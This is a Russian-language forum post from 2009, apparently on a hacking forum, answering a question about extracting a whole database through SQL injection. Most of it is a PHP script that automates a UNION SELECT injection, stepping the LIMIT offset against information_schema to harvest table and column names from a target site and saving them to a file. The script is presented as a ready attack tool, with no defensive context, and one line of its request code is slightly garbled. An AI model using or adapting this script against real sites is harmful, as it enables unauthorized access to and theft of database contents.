
05.04.2009, 22:34
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме: 2584134
Репутация:
519
|
|
Сообщение от .:[melkiy]:.
Можно ли как-то вывести все таблицы из БД (sql inj) не лимитом?? Т.е не менять limit+1,1, limit+2,1 и т.д, а одним запросом вывести всю БД!!!
Сам вчера распрашивал знакомых по дному вопросу...
Кароче ответ таков:
Мускул здесь нипричём, дело в скрипте, если скрипт не поддержует многостроковый вывод, то никак, но зато для автоматизации перебора через лимит написано множество скриптов. Вот один из них:
PHP код:
<?
#Скрипт для перебора значений limit в sql injection
set_time_limit(0);
error_reporting(0);
#В примере: 0x7C - соответствует символу "|", вместе с символом разделителем 0x3a получается запрос, ограниченный "|:" и ":|"
$n="|:"; #начало искомой
$n2=":|"; #конец искомой
$j=0; #парсить с
$lim=0; #до (0 - если до конца)
function get_page($url){ #получение страницы
$link=parse_url($url);
$host = $link['host'];
$src = $link['path'];
$src .= ($link['query'] > "")?"?".$link['query']:"";
$sock = fsockopen ($host, 80);
fputs ($sock, "GET /$sr<-b>c HTTP/1.0\r\nHost: $host\r\n\r\n");
$cont = "";
while (!feof ($sock)) { $cont .= fgets ($sock); }
fclose ($sock);
return $cont;
}
for($i=$j;($lim != 0) ? $i<$lim : 1 != 0;$i++){ #получение данных
$url="http://www.site.com/products.php?category_id=-1+union+select+1,2,concat_ws(0x3a,0x7c,table_name,column_name,0x7c),4+from+information_schema.columns+limit+$i,1/*"; #ссылка
$page=get_page($url);
$page=strip_tags($page);
$pos=stripos($page,$n);
$pos2=stripos($page,$n2,($pos+1));
if($pos == ""){echo "\n Current value - $i"; break;}
$page=substr($page,($pos+strlen($n)),($pos2-$pos-strlen($n2)));
$page .="\n";
echo $page;
$r=fopen('out.txt','a+'); #сохранение в файл
fputs($r,$page);
fclose($r);
}
?>
// Вроде бы правила ответа на вопрос не нарушел...
|
|
|